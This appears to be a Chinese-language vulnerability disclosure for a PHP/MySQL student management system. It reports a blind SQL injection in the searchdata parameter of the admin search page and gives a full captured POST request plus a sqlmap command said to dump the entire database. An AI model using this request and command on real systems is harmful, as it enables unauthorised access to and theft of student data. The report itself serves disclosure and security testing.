学生管理系统（SMS）是一款基于 PHP 和 MySQL 开发的 Web 应用程序，用于管理学生信息。本仓库包含该系统的源代码和详细信息，同时附有安全漏洞报告。
审计员：
Shoaib Alam - LinkedIn 个人资料
在学生管理系统中检测到了一个盲 SQL 注入漏洞。该问题影响应用程序搜索功能中的 searchdata 参数。
/studentms/admin/search.phpsearchdata由于输入清理不充分，searchdata 参数容易受到盲 SQL 注入攻击。攻击者可以通过向 searchdata 输入注入恶意 SQL 查询来利用此漏洞，从而可能获得对数据库或其他敏感信息的未授权访问。
/studentms/admin/search.php
POST /studentms/admin/search.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://localhost
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://localhost/studentms/admin/search.php
Cookie: PHPSESSID=kq90r1jv25kn4flrqd74v1miqd
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
searchdata=*&search=
使用记事本或任意文本编辑器将上述 POST 请求保存到 req.txt 中。
使用 SQLMAP 等工具利用此漏洞，执行以下命令（你可根据需求自定义）：sqlmap -r req.txt --dbs --random-agent --level 3 --risk 3
上述命令将转储该 Web 应用程序的整个数据库。